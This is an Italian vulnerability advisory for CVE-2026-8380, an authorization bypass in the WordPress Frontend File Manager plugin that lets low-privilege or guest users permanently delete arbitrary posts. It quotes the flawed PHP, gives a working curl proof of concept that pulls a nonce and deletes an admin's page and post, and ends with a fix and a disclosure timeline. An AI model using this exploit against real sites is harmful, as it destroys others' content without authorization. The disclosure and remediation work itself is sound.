
CVE-2026-8380
È stata identificata una critica falla di autorizzazione nel plugin WordPress Frontend File Manager (nmedia-user-file-uploader) che interessa le versioni <= 23.6.
La vulnerabilità consente a utenti autenticati con privilegi bassi di eliminare permanentemente post, pagine, allegati e tipi di post personalizzati arbitrari di WordPress a causa di una convalida di autorizzazione impropria nell'endpoint di eliminazione AJAX.
Quando l'opzione del plugin _allow_guest_upload=yes è abilitata, la vulnerabilità diventa sfruttabile da attaccanti non autenticati.
nmedia-user-file-uploader)Il plugin contiene una vulnerabilità critica di bypass dell'autorizzazione che consente l'eliminazione arbitraria di contenuti WordPress attraverso una convalida di discrepanza dei parametri all'interno dell'azione AJAX wpfm_delete_file.
La vulnerabilità è stata convalidata con successo in un ambiente di laboratorio controllato con sfruttamento attivo del Proof-of-Concept.
Ulteriori debolezze di sicurezza sono state identificate durante la ricerca:
_allow_guest_upload che disabilita i controlli di autorizzazione in più endpointREMOTE_ADDRPOST /wp-admin/admin-ajax.php?action=wpfm_delete_file
inc/files.php
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
? array_map('intval', $_POST['file_ids']) : [];
foreach ($file_ids as $file_id) {
$file = new WPFM_File($file_id);
wp_delete_post($file_id, $bypass_trash);
}
Il controllo di autorizzazione convalida la proprietà utilizzando il parametro singolare:
$_POST['file_id']
Tuttavia, l'operazione di eliminazione effettiva itera su un parametro diverso:
$_POST['file_ids[]']
A causa di questa discrepanza, un attaccante può:
file_idfile_ids[]Non esiste alcuna convalida per garantire:
file_ids[]post_type consentitofile_id e file_ids[]Di conseguenza, i contenuti WordPress arbitrari possono essere eliminati permanentemente.
Un utente autenticato con privilegi minimi può eliminare permanentemente:
L'eliminazione viene eseguita con:
wp_delete_post($file_id, true);
Il che significa che il contenuto viene rimosso permanentemente senza recupero dal Cestino.
Se _allow_guest_upload=yes è abilitato:
192.168.1.1:8080wpfm_sub : Sub@Test123
Page ID: 60
Post ID: 61
L'attaccante visita una pagina contenente lo shortcode:
[ffmwp]
Estrarre il nonce:
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce
Risposta:
value="9c233d4720"
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
--data 'action=wpfm_delete_file' \
--data 'wpfm_ajax_nonce=9c233d4720' \
--data 'file_id=57' \
--data 'file_ids[]=60' \
--data 'file_ids[]=61'
| Parametro | Descrizione |
|---|---|
file_id=57 | Post di proprietà dell'abbonato utilizzato per bypassare l'autorizzazione |
file_ids[]=60 | Pagina dell'amministratore vittima |
file_ids[]=61 | Post dell'amministratore vittima |
{
"success": true,
"data": {
"message": "2 files, directories are removed inside SUB-OWNED"
}
}
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
404
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
404
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Convalidare la proprietà e il tipo di post per ogni voce all'interno di file_ids[].
Esempio di implementazione sicura:
foreach ($file_ids as $fid) {
if ( ! wpfm_is_current_user_post_author($fid) ) {
wp_send_json_error(...);
}
if ( get_post_type($fid) !== 'wpfm-files' ) {
wp_send_json_error(...);
}
}
| Evento | Data |
|---|---|
| Vulnerabilità Scoperta | 2026-05-28 |
| Fornitore Contattato | 2026-05-28 |
| WPScan Pubblicato | 2026-06-04 |
| Divulgazione Pubblica | 2026-06-18 |
Questa ricerca è stata eseguita in un ambiente di laboratorio controllato solo per scopi educativi e di ricerca sulla sicurezza.
Non testare i sistemi senza la dovuta autorizzazione.